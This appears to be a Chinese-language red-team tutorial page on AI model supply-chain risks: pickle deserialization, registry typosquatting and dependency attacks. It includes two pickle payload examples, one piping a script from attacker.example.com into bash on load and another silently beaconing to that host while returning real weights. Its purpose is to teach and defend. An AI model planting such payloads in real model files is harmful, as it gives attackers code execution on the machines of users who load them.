模型供應鏈風險
中級3 分鐘閱讀更新於 2026-03-12
AI 模型供應鏈中的攻擊向量,包括惡意模型檔、pickle 利用、遭入侵的模型登錄檔與相依漏洞。
AI 模型供應鏈——從模型訓練到生產部署的路徑——含有關鍵攻擊向量。下載並載入模型檔,功能上等同於執行不受信任的程式碼,但許多組織仍把模型檔當作靜態資料看待。最危險的向量是 pickle 反序列化,它可達成任意程式碼執行。
模型序列化格式
| 格式 | 程式碼執行風險 | 常見用途 |
|---|---|---|
| Pickle (.pkl, .pt, .bin) | 重大——任意 Python 程式碼執行 | PyTorch 預設、許多舊模型 |
| SafeTensors (.safetensors) | 無——純資料格式 | 現代 HuggingFace 標準 |
| ONNX (.onnx) | 低——有限的自訂運算 | 跨框架部署 |
| GGUF (.gguf) | 無——純資料格式 | llama.cpp 生態系 |
Pickle 利用
Python 的 pickle 模組可序列化任意 Python 物件,包含可執行程式碼。惡意 pickle 檔在載入時即執行:
import pickle
import os
class MaliciousModel:
def __reduce__(self):
# This code executes when the pickle is loaded
return (os.system, ("curl https://attacker.example.com/shell.sh | bash",))
# Save the malicious "model"
with open("model.pt", "wb") as f:
pickle.dump(MaliciousModel(), f)
# When someone loads this "model":
# model = torch.load("model.pt") # Executes the reverse shell真實攻擊情境
- 攻擊者在 HuggingFace 建立看似合法的模型
- 模型檔內同時包含 pickle 載荷與真實權重
- 研究者或 ML 管線下載並載入模型
- 載荷執行:反向 shell、加密幣挖礦、資料外洩
# More sophisticated payload that preserves model functionality
class TrojanedModel:
def __reduce__(self):
# Execute payload AND return a working model
return (self._load_with_backdoor, ("real_weights.pt",))
@staticmethod
def _load_with_backdoor(weights_path):
# Run malicious code silently
import subprocess
subprocess.Popen(["curl", "-s", "https://attacker.example.com/beacon"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Return a real working model so nothing looks wrong
import torch
return torch.load(weights_path, weights_only=True)登錄檔與發布攻擊
HuggingFace Hub
最大的模型登錄檔有特定的攻擊面:
- typosquatting——註冊近似熱門模型的名稱(
meta-Ilama/Llama-3.1-8B仿冒meta-llama/Llama-3.1-8B) - 命名空間混淆——利用使用者對官方與社群模型的預期差異
- 版本操控——對先前合法的模型推送惡意更新
- README 社交工程——精心撰寫的 model card 誘導使用者使用不安全的載入做法
相依套件攻擊
AI 函式庫的相依樹很深,容易成為攻擊目標:
# Typical AI project dependencies (simplified)
# torch → numpy, pillow, triton
# transformers → tokenizers, safetensors, huggingface_hub
# langchain → openai, tiktoken, pydantic
# Each dependency is a potential supply chain target認知防禦
理解防禦有助於紅隊找出落差:
| 防禦 | 狀態 | 紅隊考量 |
|---|---|---|
| SafeTensors 格式 | 可用但未普及 | 許多舊管線仍使用 pickle |
weights_only=True | PyTorch 2.0 起可用 | 非預設,常被省略 |
| 模型簽章 | 採用有限 | 多數登錄檔缺乏密碼學驗證 |
| 相依版本釘選 | 常見 | 釘選可能指向已遭入侵版本 |
| 容器掃描 | 標準 DevSecOps | 掃描器可能不識別 ML 特有威脅 |
相關主題
- AI 基礎設施安全總覽 -- 更廣的基礎設施攻擊面脈絡
- 供應鏈深入 -- 進階供應鏈利用技巧
- Pickle 利用 -- 詳盡的 pickle 反序列化攻擊
- 訓練資料攻擊 -- 透過訓練資料供應鏈投毒模型
- 部署攻擊 -- 強化模型載入的部署環境
參考資料
- Gu et al., "BadNets: Identifying Vulnerabilities in the Machine Learning Model Supply Chain" (2019) -- 奠基性 ML 供應鏈攻擊研究
- HuggingFace, "Safetensors: A Simple, Safe Serialization Format" (2023) -- pickle 的安全替代
- Kumar et al., "Emerging Supply Chain Attacks Against Open-Source AI/ML" (2024) -- 真實世界 ML 供應鏈攻擊的分類
Knowledge Check
團隊從 HuggingFace 社群倉儲下載 PyTorch 模型並以 torch.load('model.pt') 載入,主要安全風險為何?